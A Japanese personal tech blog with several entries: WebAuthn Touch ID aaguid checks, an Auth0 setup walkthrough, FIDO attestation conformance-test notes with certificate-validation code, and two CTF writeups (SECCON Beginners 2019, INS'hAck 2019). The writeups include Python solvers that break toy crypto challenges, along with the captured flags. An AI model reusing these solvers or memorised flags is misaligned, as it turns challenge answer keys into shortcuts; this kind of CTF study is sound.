【WebAuthn】認証器としてTouch IDが利用されたかどうか判定してみる

はじめに

WebAuthnで認証器としてMacBookのTouch IDが利用されたかどうかRPで判定したい気がしていた。
するとGWに手が滑ってMacBook Air (Retina, 13-inch, 2018)を買ってしまい、手持ちのMacBookが二台になって検証できるようになった。
せっかくなので検証して、その結果をメモしておく。
今回は以下のデモサイトを用いて検証する。 demo.yubico.com

認証器のモデルの判定

認証器のモデルの特定はaaguid (Authenticator Attestation GUID) でおこなう。
上記で紹介したデモサイトでYubicoの製品を使って登録をすると、以下のように製品のモデルが表示される。

  • Security Key f:id:kent056-n:20190620213222p:plain

  • YubiKey 4 Series f:id:kent056-n:20190620213300p:plain

おそらくこの判定もaaguidによりおこなっているのではないかと思う。 (YubiKey 4 Seriesはfido-u2f attestationなのにaaguidから正確に判定できているのか謎)

fido-u2f attestationはaaguidが0x00になるので注意が必要だが、Touch IDはpacked attestation (self attestation) なので問題なさそう。

Touch IDの判定

さっそくデモサイトでTouch IDを利用してみる。
以下は、登録後の画面。先ほどのYubicoの製品を利用した時みたいに製品の情報は表示されない。 f:id:kent056-n:20190620211701p:plain

次に、MacBook Air (Retina, 13-inch, 2018)とMacBook Pro (13-inch, 2016, Four Thunderbolt 3 Ports)それぞれで登録を行い、aaguidを比較してみる。

{
  "success": true,
  "attestationObject": {
    "attStmt": {
      "alg": -7,
      "sig": "MEUCIFzidjErMHcC09YUGplSH05BYu++nNgJ3qWxwopRbneGAiEA5Ouclw1Pflm1vuKnDeMGPRqKiUj3PjUpIIxkRtHd0mk="
    },
    "authData": {
      "credentialData": {
        "aaguid": "rc4AAjW8xgpkiwsl8fBVAw==",
        "credentialId": "AD3ZP3yPHJOtnEhNBbgftElwebHu2+mkJXjQqa5y4knrC13X7Xie/PWNugSr/UXWiKvJ6ZeIXhxmYZMCSMmpLQ/kInELz5/BRVkSZsYUE7Wq+3s5Y6tnpGjUJwCrkvJaYzA=",
        "publicKey": {
          "1": 2,
          "3": -7,
          "-1": 1,
          "-2": "epkLJQNrfh9m9p4nwGo7sK1GMgglkQazvqNIyL1flBA=",
          "-3": "f+rTwucl+o1/rYjLpMrSlx1cDBIiGIQBwa2UjFrA62g="
        }
      },
      "flags": {
        "AT": true,
        "ED": false,
        "UP": true,
        "UV": true,
        "value": 69
      },
      "rpIdHash": "xGzvgq0bVGR3WR0Aiwh1nsPm0uy085R0v+ppaZJdA7c=",
      "signatureCounter": 1561032466
    },
    "fmt": "packed"
  },
  "clientData": {
    "challenge": "sAYJw8ryLy_jyDqX9jADGwj_4-x54aavrc41kfMZ1q0",
    "origin": "https://demo.yubico.com",
    "type": "webauthn.create"
  },
  "device": {
    "name": "Unknown device",
    "type": "unknown"
  }
}
{
  "success": true,
  "attestationObject": {
    "attStmt": {
      "alg": -7,
      "sig": "MEQCICdX4bExE0u8FPdx6rgTXdqFGt9xD+VLpf+7r/NNQ2YCAiBsv9N+jlIsiS/6sOAX+geEUL5H7ThTrroR+NN9cI3itw=="
    },
    "authData": {
      "credentialData": {
        "aaguid": "rc4AAjW8xgpkiwsl8fBVAw==",
        "credentialId": "AEYJafU1xWSslkoR25s3tRzd5cJGqPttejySu76wdORtcM4PjKwJtWKaYjDUw851MfnHgSjXRlV+M8AUTrJrOyvVy8N3/SAZMKfn0tZr5jsKOiUr6oIWq8Px/WPReEybwLU=",
        "publicKey": {
          "1": 2,
          "3": -7,
          "-1": 1,
          "-2": "ldU1EdHtJywMgfm8cYydb4c/oH59o9Mnr2PDBl77vqE=",
          "-3": "PJohvgh2OZbT/c6z+qrv8Jiyu94PIV0RxxgnXuJJdXw="
        }
      },
      "flags": {
        "AT": true,
        "ED": false,
        "UP": true,
        "UV": true,
        "value": 69
      },
      "rpIdHash": "xGzvgq0bVGR3WR0Aiwh1nsPm0uy085R0v+ppaZJdA7c=",
      "signatureCounter": 1561015243
    },
    "fmt": "packed"
  },
  "clientData": {
    "challenge": "HNjfDLl8ASZpI8s-VB7SE7nqew1ddQo89DnLVyb0klc",
    "origin": "https://demo.yubico.com",
    "type": "webauthn.create"
  },
  "device": {
    "name": "Unknown device",
    "type": "unknown"
  }
}

MacBook Air (Retina, 13-inch, 2018)とMacBook Pro (13-inch, 2016, Four Thunderbolt 3 Ports)でaaguidは同じだった。
おそらく、ChromeからMacBookのTouch IDを認証器として呼び出した場合のaaguidはrc4AAjW8xgpkiwsl8fBVAw==になるようだ。

おわりに

以下まとめです。

  • 確証はないが認証器としてTouch IDが利用されたかどうかは判定できそう

  • MacBook AirMacBook Proでaaguidに変化はない

  • Chrome以外のブラウザから認証器としてTouch IDを呼び出した場合にどうなるかは不明

おまけ

別の人がMac Book Proを持っていたので念には念をいれて一応確認してみた。

{
  "success": true,
  "attestationObject": {
    "attStmt": {
      "alg": -7,
      "sig": "MEUCIQDw3lx6tfEJWDH2+VDCrZE2giDbI2z8Skx4YNtzFGA72QIgR6ucKwCfWEShXQAHPqPwXNv5cNsjBegsGh9YO3C2FUI="
    },
    "authData": {
      "credentialData": {
        "aaguid": "rc4AAjW8xgpkiwsl8fBVAw==",
        "credentialId": "AB1ZRA8GxEx5Q37k5csN9glkPrmZXx/pG/zRWaD5Ccz5okPBScxmCUN+mjjo9Lu0SKQXvTTDAQHgnu+weefXzRtbqWcc5E9GfjuPMcQPJLrgN282ffuwgBcHwdgd9qzvxXw=",
        "publicKey": {
          "1": 2,
          "3": -7,
          "-1": 1,
          "-2": "/enNu+rmfc1g/OO6yq5u+ygYcN0N2ew/TiCpxh85bOk=",
          "-3": "hIyjyekzludhdfhWjhuPWsm/wxwSYALsxqNlyGpy/cw="
        }
      },
      "flags": {
        "AT": true,
        "ED": false,
        "UP": true,
        "UV": true,
        "value": 69
      },
      "rpIdHash": "xGzvgq0bVGR3WR0Aiwh1nsPm0uy085R0v+ppaZJdA7c=",
      "signatureCounter": 1561015290
    },
    "fmt": "packed"
  },
  "clientData": {
    "challenge": "_-iFeOfhI4ZNFgrx3uWQSdWLMvHJf_SmA38Xu_ybzOU",
    "origin": "https://demo.yubico.com",
    "type": "webauthn.create"
  },
  "device": {
    "name": "Unknown device",
    "type": "unknown"
  }
}

やっぱりrc4AAjW8xgpkiwsl8fBVAw==だった。

SECCON Beginners CTF 2019 writeup

はじめに

yharimaで参加し、11th / 666 placeでした。(自分は実質何もやってない)
今回はbinary強い人とweb強い人がチームにいたのでcryptoに専念してみた。(2問しか解けなかったので死にたい...) f:id:kent056-n:20190526175444p:plain

他のメンバーのブログはこちら。 yuta1024.hateblo.jp

lai.hateblo.jp

So Tired

問題文。

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!

File: so_tired.tar.gz

Fileを展開するとBase64エンコードされた文字列(めっちゃ長い)が書かれたテキストファイルが出てくる。
とりあえずデコードしてファイルとして保存してみる。

$ cat encrypted.txt | base64 -D > outdata

fileコマンドを実行してみると、zlib形式であることがわかる。

$ file outdata
outdata: zlib compressed data

zlibを展開すると、またBase64エンコードされた文字列(めっちゃ長い)が書かれたテキストファイルが出てくる。
以降、zlib -> Base64エンコード文字列 -> zlib -> ... の繰り返しになり、クッソめんどくさいので問題文とも一致する。
以下、solverです。適当に"ctf4b"が含まれている箇所でbreakするようにしました。

import zlib
import base64

i = 1
while True:
    data = open("outdata" + str(i - 1), "r")
    s = zlib.decompress(data.read())
    data.close()
    if ("ctf4b" in s) :
        print s
        break

    if ("ctf4b" in base64.b64decode(s)) :
        print base64.b64decode(s)
        break

    with open("outdata" + str(i), mode='w') as f:
        f.write(base64.b64decode(s))
    i += 1

上記のsolverを実行すると500個くらいファイルがブチまけられて最悪な気持ちになるけどフラグがでてきます。

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Party

以下、問題文。

Let's 暗号パーティ

File: party.tar.gz

tarを展開すると、encrypt.pyとencryptedというファイルが出てくる。それぞれのファイルの中身は以下の通り。
encrypt.py

from flag import FLAG
from Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime


def f(x, coeff):
    y = 0
    for i in range(len(coeff)):
        y += coeff[i] * pow(x, i) # i = 0, 1, 2
    return y


N = 512
M = 3
secret = bytes_to_long(FLAG)
assert(secret < 2**N)

coeff = [secret] + [getRandomInteger(N) for i in range(M-1)]
party = [getRandomInteger(N) for i in range(M)]

val = map(lambda x: f(x, coeff), party)
output = list(zip(party, val))
print(output)

encrypted

[(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

encryptedの中身はpartyとvalであることがわかる。また、FLAG(secret)は coeff[0]に入っていることがわかる。つまり、partyとvalからcoeffを導出できれば良さそうということに気づく。
そして、よくみると方程式を立てることができ、導出可能であることがわかる。以下、solver。

from sympy import *

party0 = 5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787
val0 = 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933
party1 = 3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473
val1 = 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075
party2 = 6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379
val2 = 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125
# coeff[0] = x, coeff[1] = y, coeff[2] = z
x, y, z = symbols('x y z')
ans = solve([x + (y * party0) + (z * pow(party0, 2)) - val0, x + (y * party1) + (z * pow(party1, 2)) - val1, x + (y * party2) + (z * pow(party2, 2)) - val2])
print(ans)

出力はこんな感じ。

{x: 175721217420600153444809007773872697631803507409137493048703574941320093728, y: 6759741750199108721817212574266152064959437506612887142001761070682826541920627672362291016337903640265385249474489124882116454124173716091800442011015857, z: 8559415203809303629563171044315478022492879973152936590413420646926860552595649298493153041683835412421908115002277197166850496088216040975415228249635834}

x = coeff[0] = secret なので、xを文字列にして終了。

ctf4b{just_d0ing_sh4mir}

おわりに

Go RSAとBit Flip解けなかった...死にてぇ...
ちょっと捻られると解けなくなるので良くないな...

Auth0の設定してみた際のメモ

はじめに

Auth0を利用してみた際の手順を忘れないようにメモしておきます。

登録

以下のリンク先の無償トライアルから登録して使ってみる。 auth0.com

今回はSign UpせずにGithubのアカウントと連携させてみる。 f:id:kent056-n:20190506193735p:plain

GitHubのアイコンをクリックすると、Auth0がGithubアカウントのPersonal user data (read-only)を要求してくるので認可する。 f:id:kent056-n:20190506194039p:plain

Welcome to Auth0というページでTENANT DOMAINとREGIONが選択できるが今回は両方ともデフォルトのまま進める。
Tenantは1つのサービスを表し、複数のApplicationが紐づくものらしい。 f:id:kent056-n:20190506194449p:plain

最後にACCOUNT TYPEをPersonal、ROLEをDeveloper、MAIN CHALLENGEをOtherにしてCREATE ACCOUNTを押下する。 f:id:kent056-n:20190506194733p:plain

これで登録は終わりのようです。

Application

登録後は[Applications] > [CREATE APPLICATION]の順に押下してApplicationの設定を行います。 f:id:kent056-n:20190506204207p:plain

NameとApplicationのTypeを選択してCREATEを押下すると、Applicationの詳細情報ページに遷移します。 f:id:kent056-n:20190506204516p:plain

SettingsタブからName、Domain、Client ID、Client Secretなど開発時に必要な情報が閲覧できます。

おわりに

ここまでは意外と簡単にできました。
Auth0にはたくさんの機能があるようなので利用してみたいです。

INS'hAck 2019 writeup

はじめに

あんまりやってないです。最終417位だったぽい。 f:id:kent056-n:20190506021947p:plain

gflag - MIC 50

以下の内容のファイルが渡される。 https://gist.github.com/kg0r0/0799da01e22f1210c345026344af3585

適当に検索してみると、どうやらG-Codeというコードらしいことが判明。

reprap.org

さらに調べてみると、GCode viewerを発見。

ncviewer.com

先ほどのコードをペーストしてみると、FLAGが現れた。

f:id:kent056-n:20190505223625p:plain

Telegram - MIC 50

Telegram channelのリンクを踏むだけ f:id:kent056-n:20190505223812p:plain

Yet Another RSA Challenge - Part 1 - CRY 50

解けなかったし、なぜ解けないのか最後までわからなかった。
以下問題文。

You can find a harder version of this challenge in the Programming category.⏎

以下の2つのファイルが渡される。

import subprocess
p = subprocess.check_output('openssl prime -generate -bits 2048 -hex')
q = subprocess.check_output('openssl prime -generate -bits 2048 -hex')
flag = int('INSA{REDACTED}'.encode('hex'), 16)

N = int(p,16) * int(q,16)
print N
print '0x'+p.replace('9F','FC')
print pow(flag,65537,N)
719579745653303119025873098043848913976880838286635817351790189702008424828505522253331968992725441130409959387942238566082746772468987336980704680915524591881919460709921709513741059003955050088052599067720107149755856317364317707629467090624585752920523062378696431510814381603360130752588995217840721808871896469275562085215852034302374902524921137398710508865248881286824902780186249148613287250056380811479959269915786545911048030947364841177976623684660771594747297272818410589981294227084173316280447729440036251406684111603371364957690353449585185893322538541593242187738587675489180722498945337715511212885934126635221601469699184812336984707723198731876940991485904637481371763302337637617744175461566445514603405016576604569057507997291470369704260553992902776099599438704680775883984720946337235834374667842758010444010254965664863296455406931885650448386682827401907759661117637294838753325610213809162253020362015045242003388829769019579522792182295457962911430276020610658073659629786668639126004851910536565721128484604554703970965744790413684836096724064390486888113608024265771815004188203124405817878645103282802994701531113849607969243815078720289912255827700390198089699808626116357304202660642601149742427766381
0xDCC5A0BD3A1FC0BEB0DA1C2E8CF6B474481B7C12849B76E03C4C946724DB577D2825D6AA193DB559BC9DBABE1DDE8B5E7805E48749EF002F622F7CDBD7853B200E2A027E87E331AFCFD066ED9900F1E5F5E5196A451A6F9E329EB889D773F08E5FBF45AACB818FD186DD74626180294DCC31805A88D1B71DE5BFEF3ED01F12678D906A833A78EDCE9BDAF22BBE45C0BFB7A82AFE42C1C3B8581C83BF43DFE31BFD81527E507686956458905CC9A660604552A060109DC81D01F229A264AB67C6D7168721AB36DE769CEAFB97F238050193EC942078DDF5329A387F46253A4411A9C8BB71F9AEB11AC9623E41C14FCD2739D76E69283E57DDB11FC531B4611EE3
596380963583874022971492302071822444225514552231574984926542429117396590795270181084030717066220888052607057994262255729890598322976783889090993129161030148064314476199052180347747135088933481343974996843632511300255010825580875930722684714290535684951679115573751200980708359500292172387447570080875531002842462002727646367063816531958020271149645805755077133231395881833164790825731218786554806777097126212126561056170733032553159740167058242065879953688453169613384659653035659118823444582576657499974059388261153064772228570460351169216103620379299362366574826080703907036316546232196313193923841110510170689800892941998845140534954264505413254429240789223724066502818922164419890197058252325607667959185100118251170368909192832882776642565026481260424714348087206462283972676596101498123547647078981435969530082351104111747783346230914935599764345176602456069568419879060577771404946743580809330315332836749661503035076868102720709045692483171306425207758972682717326821412843569770615848397477633761506670219845039890098105484693890695897858251238713238301401843678654564558196040100908796513657968507381392735855990706254646471937809011610992016368630851454275478216664521360246605400986428230407975530880206404171034278692756

こんなのreplaceしてpを求めて、Nからqを導出して復号すれば終わりだと思って以下のようなコードを書いた。

from Crypto.Util.number import inverse
from sympy import isprime
import binascii

out = '0xDCC5A0BD3A1FC0BEB0DA1C2E8CF6B474481B7C12849B76E03C4C946724DB577D2825D6AA193DB559BC9DBABE1DDE8B5E7805E48749EF002F622F7CDBD7853B200E2A027E87E331AFCFD066ED9900F1E5F5E5196A451A6F9E329EB889D773F08E5FBF45AACB818FD186DD74626180294DCC31805A88D1B71DE5BFEF3ED01F12678D906A833A78EDCE9BDAF22BBE45C0BFB7A82AFE42C1C3B8581C83BF43DFE31BFD81527E507686956458905CC9A660604552A060109DC81D01F229A264AB67C6D7168721AB36DE769CEAFB97F238050193EC942078DDF5329A387F46253A4411A9C8BB71F9AEB11AC9623E41C14FCD2739D76E69283E57DDB11FC531B4611EE3'
N = 719579745653303119025873098043848913976880838286635817351790189702008424828505522253331968992725441130409959387942238566082746772468987336980704680915524591881919460709921709513741059003955050088052599067720107149755856317364317707629467090624585752920523062378696431510814381603360130752588995217840721808871896469275562085215852034302374902524921137398710508865248881286824902780186249148613287250056380811479959269915786545911048030947364841177976623684660771594747297272818410589981294227084173316280447729440036251406684111603371364957690353449585185893322538541593242187738587675489180722498945337715511212885934126635221601469699184812336984707723198731876940991485904637481371763302337637617744175461566445514603405016576604569057507997291470369704260553992902776099599438704680775883984720946337235834374667842758010444010254965664863296455406931885650448386682827401907759661117637294838753325610213809162253020362015045242003388829769019579522792182295457962911430276020610658073659629786668639126004851910536565721128484604554703970965744790413684836096724064390486888113608024265771815004188203124405817878645103282802994701531113849607969243815078720289912255827700390198089699808626116357304202660642601149742427766381
p = '0xDCC5A0BD3A1FC0BEB0DA1C2E8CF6B474481B7C12849B76E03C4C946724DB577D2825D6AA193DB559BC9DBABE1DDE8B5E7805E48749EF002F622F7CDBD7853B200E2A027E87E331AFCFD066ED9900F1E5F5E5196A451A6F9E329EB889D773F08E5FBF45AACB818FD186DD74626180294DCC31805A88D1B71DE5BFEF3ED01F12678D906A833A78EDCE9BDAF22BBE45C0BFB7A82AFE42C1C3B8581C83BF43DFE31BFD81527E507686956458905CC9A660604552A060109DC81D01F229A264AB67C6D7168721AB36DE769CEAFB97F238050193EC942078DDF5329A387F46253A4411A9C8BB71F9AEB11AC9623E41C14FCD2739D76E69283E57DDB11FC531B4611EE3'.replace('FC', '9F')[2:]
assert '0x'+p.replace('9F','FC') == out, "fail"
p = int(p, 16)
assert isprime(p), "p is not prime"
q = N / p
e = 65537
assert (p * q) == N, "unexpected value"
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(binascii.unhexlify(hex(pow(c, d, N))[2:]).decode())⏎

なぜか"p is not prime"になって詰んだ。
writeup読んでみたけど情報量少なすぎて何もわからない。 追記 : 理解した。"FC"を全て"9F"に戻すと、もともとFCだった箇所も9Fになってしまうじゃん!

おわりに

今の気持ちです。

f:id:kent056-n:20190506024959g:plain

参考

【 FIDO Conformance Toolsメモ 】Server-ServerAuthenticatorAttestationResponse-Resp-5 Test server processing "packed" FULL attestation

はじめに

Server-ServerAuthenticatorAttestationResponse-Resp-5 Test server processing "packed" FULL attestationというテスト項目について書きます。
こちらのテスト項目はPacked Attestationの中でもFULL attestationというattestation statementのx5cというフィールドに証明書が格納されているパターンのテストになります。 Packed Attestationの検証については以下の記事に詳しく記載されています。 medium.com

P-1~2

  • P-1 Send a valid ServerAuthenticatorAttestationResponse with FULL "packed" attestation, and check that server succeeds
    FULL Attestationの検証については上記で紹介したブログに詳細に記載されていますのでそちらをご覧ください。(気が向いたら書きます)
    FULL AttestationではAuthenticatorAttestationReponseが証明書を含んだ状態で送られてきます。簡単にやることを説明すると、「証明書の各フィールドの検証」、「証明書から取り出した公開鍵で署名の検証」の2点になります。
...
        const leafCert = base64ToPem(attestationStruct.attStmt.x5c[0].toString('base64'));
        const certInfo = getCertificateInfo(leafCert);

        if (certInfo.subject.OU !== 'Authenticator Attestation')
            throw new Error('Batch certificate OU MUST be set strictly to "Authenticator Attestation"!');

        if (!certInfo.subject.CN)
            throw new Error('Batch certificate CN MUST no be empty!');

        if (!certInfo.subject.O)
            throw new Error('Batch certificate CN MUST no be empty!');

        if (!certInfo.subject.C || certInfo.subject.C.length !== 2)
            throw new Error('Batch certificate C MUST be set to two character ISO 3166 code!');

        if (certInfo.basicConstraintsCA)
            throw new Error('Batch certificate basic constraints CA MUST be false!');

        if (certInfo.version !== 3)
            throw new Error('Batch certificate version MUST be 3(ASN1 2)!');

        response.verified = crypto.createVerify('sha256')
            .update(signatureBaseBuffer)
            .verify(leafCert, signatureBuffer);
...
  • P-2 Send a valid ServerAuthenticatorAttestationResponse with FULL "packed" attestation that contains chain that links to the root certificate in the metadata in it's response, and check that server succeeds
    こちら詳しくわかっていないのですが、送信されてきたリクエストのx5cに複数証明書が入っていたので各証明書の検証を行い、結果を返します。 中間証明書のIssuerとmetadataのRoot証明書のIssuerとSubjectが合うことも加えて検証して結果を返せば良いような気がします。

F-1~14

  • F-1 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with fmt set to an unknown attestation format, and check that server returns an error
    fmtに関するテストのようです。
    以下のように意図していないfmtが送信されていた場合にエラーを返せば良さそうです。
if (attestationStruct.fmt === 'packed')
  • F-2 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, and with attStmt.sig contains a signature that can not be verified, and check that server returns an error
    attStmtのsigに関するテストのようです。
    以下のようにsignatureの検証に失敗した場合にエラーを返します。
        if (!signatureIsValid)
            throw new Error('Failed to verify the signature!')
  • F-3 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt missing "x5c" field, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    以下のようにfmtがpackedでx5cに何も入っていなければエラーを返します。
  if (attestationStruct.attStmt.x5c) 
  • F-4 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c is not of type ARRAY, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    x5cは以下のような配列のはずなので、配列でなければエラーを返します。
{
    "fmt": "packed",
    "authData": "9569088f1ecee3232954035dbd10d7cae391305a2751b559bb8fd7cbb229bdd44100000000f8a011f38c0a4d15800617111f9edc7d0040c2c2ebc8e0315cc539e2cd9f09258fcd68d71ce04a3e996837e5077ed8f8feba48bba059c4d5e9a66f367fb63a897f4510e28a792e7e3764c02decb32e725f00a50102032620012158200180f54d2a5fd76d03495c5e9fc922e7a905d5b993e045cef8fd099d293998cc225820774e5319051a8f63a965cc371f1ddfa85b410775a14d8017651861686e91ca97",
    "attStmt": {
        "alg": -7,
        "sig": "30450221008cce8a10ba05af34a39267a1838927f12d11599641c02fc550a7b0216755141902201f78875d2cfb0f97515e497f01e7164035c40a18da0eee96f44d93e7b8975e6c",
        "x5c": [
            "308202af30820197a0030201020204485b3db6300d06092a864886f70d01010b05003021311f301d06035504030c1659756269636f204649444f2050726576696577204341301e170d3138303431323130353731305a170d3138313233313130353731305a306f310b300906035504061302534531123010060355040a0c0959756269636f20414231223020060355040b0c1941757468656e74696361746f72204174746573746174696f6e3128302606035504030c1f59756269636f205532462045452053657269616c20313231333933393132363059301306072a8648ce3d020106082a8648ce3d03010703420004fb2cdd304328c5724a50cce6f60bad7d27a91b59e1e66f297b89c9d43dc2b2c77889b4f0ff9d0228cb946dfce01b19589b67804aac977f28189ccdb32574ca28a36c306a302206092b0601040182c40a020415312e332e362e312e342e312e34313438322e312e363013060b2b0601040182e51c0201010404030204303021060b2b0601040182e51c01010404120410f8a011f38c0a4d15800617111f9edc7d300c0603551d130101ff04023000300d06092a864886f70d01010b0500038201010032f3e4bd58d7422baf499986081f0da93bc6aa1c7211f92853ebf3eb73da693b06de31338e5d02ecf676e95c42bea58f25d3373f77bb2a9d7cb23e118c41d49a4c9ad8f3e2a4ec01777a74a8c41243c31ece208f2d0f6ebc619be184a172f6a9accbf8736d5be298b36bece71e778d0a69aaf994b8636de8faf62fd3ce7f044c322cf7263e3499e6a5b2b02abbad5bd9ece5b0714d73bb9461499c942a5f1dccaf65033b3939d447d9fcc47b0b16d8e901fcec3f8c1bc0c6ac0b5d74c7bb03056917e9981a19b9095ca1f4ab9f027c280f8af9ed1d293cf6cc2f046d9ad662b4a96eb1cacaac5e053e8391477c1f8b6001de653abff2aabb559886917ead3b36"
        ]
    }
}
  • F-5 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c is an empty ARRAY, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    x5cの配列の中身が空の場合にエラーを返します。

  • F-6 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c contains a leaf certificate that is expired, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    x5cの中に入っている証明書が期限切れであればエラーを返えすと良さそうです。現在の時間と証明書内のNot Afterを比較します。
    この時、証明書の中のNot BeforeとNot AfterはGeneralizedTimeという形式で入っているようなので、Unix TimeStampを比較できるように変換する必要があります。 en.wikipedia.org

今回はldap2dateというパッケージを利用してGeneralizedTimeの変換を行いました。

const ldap2date = require('ldap2date');
const jsrsasign = require('jsrsasign');
...

   const subjectCert = new jsrsasign.X509();
    subjectCert.readCertPEM(certificate);
    const notbefore = ldap2date.parse('20' + subjectCert.getNotBefore()).getTime();
    const notafter = ldap2date.parse('20' + subjectCert.getNotAfter()).getTime();
    const now = new Date().getTime();

    if (notafter < now)
        throw new Error('Leaf certificate is expired!')
  • F-7 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c contains a leaf certificate that is not yet started, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    F-6とほぼ同様です。今回はNot Beforeと比較します。
const ldap2date = require('ldap2date');
const jsrsasign = require('jsrsasign');
...

   const subjectCert = new jsrsasign.X509();
    subjectCert.readCertPEM(certificate);
    const notbefore = ldap2date.parse('20' + subjectCert.getNotBefore()).getTime();
    const notafter = ldap2date.parse('20' + subjectCert.getNotAfter()).getTime();
    const now = new Date().getTime();

    if (now < notbefore)
        throw new Error('Leaf certificate is not yet started!')
  • F-8 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c contains a leaf certificate algorithm does not equal to the one that is specified in MetadataStatement, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    このテストに関しては記憶にない。アルゴリズムの検証としては、attestation statementのalgのみな気がするのでこれかもしれない。
    もしくは以下のように利用しているライブラリの中でエラーを返しているのかもしれない。要確認。
        const algorithm = subjectCert.getSignatureAlgorithmField();
...
        const Signature = new jsrsasign.crypto.Signature({ alg: algorithm });
  • F-9 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c contains certificate chain, that can not be verified, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    こちらのテストは以下のようにx5cに証明書が複数格納されていた場合にも検証結果を元にエラーを返していれば良さそうです。
const validateCertificatePath = (certificates) => {
...
    for (let i = 0; i < certificates.length - 1; i++) {
        const subjectPem = certificates[i];
        const subjectCert = new jsrsasign.X509();
        subjectCert.readCertPEM(subjectPem);

        const issuerPem = certificates[i + 1];
        const issuerCert = new jsrsasign.X509();
        issuerCert.readCertPEM(issuerPem);
... 
        const subjectCertStruct = jsrsasign.ASN1HEX.getTLVbyList(subjectCert.hex, 0, [0]);
        const algorithm = subjectCert.getSignatureAlgorithmField();
        const signatureHex = subjectCert.getSignatureValueHex();

        const Signature = new jsrsasign.crypto.Signature({ alg: algorithm });
        Signature.init(issuerPem);
        Signature.updateHex(subjectCertStruct);

        if (!Signature.verify(signatureHex))
            throw new Error('Failed to validate certificate path!')

    }

    return true
}
  • F-10 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c containing full chain, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    Root CAの証明書が含まれている場合にエラーを返さないといけないらしい。 github.com

Root CAの証明書はIssuerとSubjectが同じになっているはずなので以下のような検証を行った。注意点としては、オレオレ証明書もIssuerとSubjectが同じになるはずなので、あくまでx5cのlengthが2以上の場合のみこちらの処理を適用します。

const verifyRootCert = (certificate) => {
    const rootPem = certificate;
    const rootCert = new jsrsasign.X509();
    rootCert.readCertPEM(rootPem);
    if (rootCert.getIssuerString() == rootCert.getSubjectString()) {
        return true;
    }
    return false;
}
  • F-11 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c containing full chain, that is not correctly ordered, and check that server returns an error
    attStmtのx5cに関するテストのようです。
    証明書チェーンの検証が正しくできていれば良さそうです。
    具体的には、IssuerとSubjectが正しく合うかどうか検証します。
    for (let i = 0; i < certificates.length - 1; i++) {
        const subjectPem = certificates[i];
        const subjectCert = new jsrsasign.X509();
        subjectCert.readCertPEM(subjectPem);

        const issuerPem = certificates[i + 1];
        const issuerCert = new jsrsasign.X509();
        issuerCert.readCertPEM(issuerPem);
...
        if (subjectCert.getIssuerString() !== issuerCert.getSubjectString())
            throw new Error(`Failed to validate certificate path! Issuers dont match!`)

証明書チェーンの検証項目は以下のエントリにわかりやすく記載されていました。

qiita.com

  • F-12 Send ServerAuthenticatorAttestationResponse with FULL "packed" attestation, with attStmt.x5c contains expired intermediate certificate, and check that server returns an error
    attStmtのx5cに関するテストのようです。
